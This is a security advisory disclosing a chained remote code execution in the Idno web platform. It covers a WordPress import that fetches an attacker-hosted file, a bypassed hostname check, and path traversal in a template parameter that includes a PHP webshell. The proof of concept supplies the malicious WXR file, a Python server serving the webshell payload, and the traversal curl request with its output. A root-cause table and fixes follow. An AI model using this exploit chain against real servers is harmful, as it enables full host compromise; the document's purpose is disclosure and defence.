Advisory

GHSA-37j7-56xc-c468

Details, part 2 of 2. The advisory

Details

  1. Attacker constructs a WordPress WXR XML with an <img> tag whose src points to this URL.
  1. Admin submits the XML to POST /admin/import/ with import_type=WordPress. The application responds immediately and runs the import in the background after 10 seconds.
  1. `importImagesFromBodyHTML` is called. The URL passes the substr_count($src, 'wordpress.com') check. fopen($src, 'r') connects to the attacker's server, which sends the PHP payload and holds the connection open.
  1. `file_put_contents` writes the PHP payload to disk at /tmp/{md5(url)}{basename(url)} (e.g. /tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php) and blocks waiting for the stream to close.
  1. While the connection is held open, any authenticated user sends:
   GET /search/users/?query=a&limit=1&template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell&cmd=id
  1. `draw()` resolves the path to /tmp/594ac6416712b71b978fa4659c4298c3shell.tpl.php, finds the file exists, and includes it.
  1. The included PHP file executes, reads $_GET['cmd'] from the superglobal, and passes it to system(). Output is captured by ob_get_clean() and returned in the rendered field of the JSON response.
  1. Attacker closes the connection. file_put_contents returns, createFromFile runs, @unlink removes the temp file. No persistent artifact remains.

---

Proof of Concept

  1. Create a WXR file with the following content
<rss version="2.0"
    xmlns:content="http://purl.org/rss/1.0/modules/content/"
    xmlns:wp="http://wordpress.org/export/1.2/">
    <channel>
      <item>
        <title>Test Post</title>
        <wp:post_type>post</wp:post_type>
        <wp:status>publish</wp:status>
        <content:encoded><![CDATA[<img
  src="http://attacker-server-address/wordpress.com/shell.tpl.php">]]></content:encoded>
      </item>
    </channel>
</rss>
  1. Run a server at attacker-server-address and host the file in path wordpress.com/shell.tpl.php such that fetching http://attacker-server-address/wordpress.com/shell.tpl.php sends the command execution payload.
import http.server
import time

PAYLOAD = b'<?php system($_GET["cmd"]); ?>'


class Handler(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200)
        self.send_header("Content-Type", "application/octet-stream")
        self.end_headers()
        self.wfile.write(PAYLOAD)
        self.wfile.flush()
        print(f"[*] Payload sent. Holding connection open...")
        time.sleep(45)  # hold connection open for 45s
        print(f"[*] Connection released")

    def log_message(self, fmt, *args):
        print(fmt % args)


http.server.HTTPServer(("0.0.0.0", 9876), Handler).serve_forever()
  1. Import WXR from http://idno-address/admin/import/ using the wordpress option.
  1. Wait till the server receives a connection. In my server example, the connection remains open for 45 seconds which is enough time to exploit the issue.
  1. Compute the md5 hash of payload URL http://attacker-server-address/wordpress.com/shell.tpl.php. In my example this is 594ac6416712b71b978fa4659c4298c3. This means the webshell file is 594ac6416712b71b978fa4659c4298c3shell.tpl.php with content
<?php system($_GET[0]); ?>
  1. Make this request as any authenticated user
curl -k \
  -b "idno=<cookie>" \
  "http://idno-address/search/users/?query=a&limit=1&template=../../../../../../tmp/594ac6416712b71b978fa4659c4298c3shell&_t=rss&cmd=id"
  1. Observe that the respone will have the command executed in the rendered field
{"count":1,"rendered":"uid=33(www-data) gid=33(www-data) groups=33(www-data),1001(pihole)\n"}

https://github.com/user-attachments/assets/9f36ce0e-8f73-42ba-908d-eb91cc4879b4

---

Impact

  • Confidentiality: Full read access to files accessible by the web server user
  • Integrity: Arbitrary command execution as the web server user
  • Availability: Complete compromise of the host running Idno

An attacker who obtains a web application admin account (via credential theft, weak password, or other means) can escalate to OS-level code execution. The RCE trigger itself requires only a standard authenticated session, meaning the admin account is needed only for the file write stage.

---

Root Causes

| Location | Issue |
|---|---|
| Migration.php:importImagesFromBodyHTML | basename($url) used as filename with no extension restriction |
| Migration.php:importImagesFromBodyHTML | substr_count hostname check trivially bypassed by embedding wordpress.com in URL path |
| Migration.php:importImagesFromBodyHTML | Outbound fopen() to attacker-controlled URL with no SSRF mitigation |
| Pages/Search/User.php | template parameter passed to draw() without sanitization |
| Core/Bonita/Templates.php:draw() | Regex strips only ^_[A-Z0-9/]+ prefix — does not restrict ../ or path separators |

---

Recommended Fixes

  1. Restrict allowed template name characters in draw() to an allowlist such as ^[a-z0-9/_-]+$, rejecting any name containing .. or beginning with /.
  1. Validate the extension of files written by `importImagesFromBodyHTML` against an allowlist of image extensions (jpg, jpeg, png, gif, webp) before writing to disk.
  1. Validate the hostname of image URLs in importImagesFromBodyHTML against the source domain rather than using substr_count, which does not distinguish hostname from path.
  1. Use `tempnam()` for temp files in the import flow rather than constructing filenames from user-controlled URL components.

Sources & licences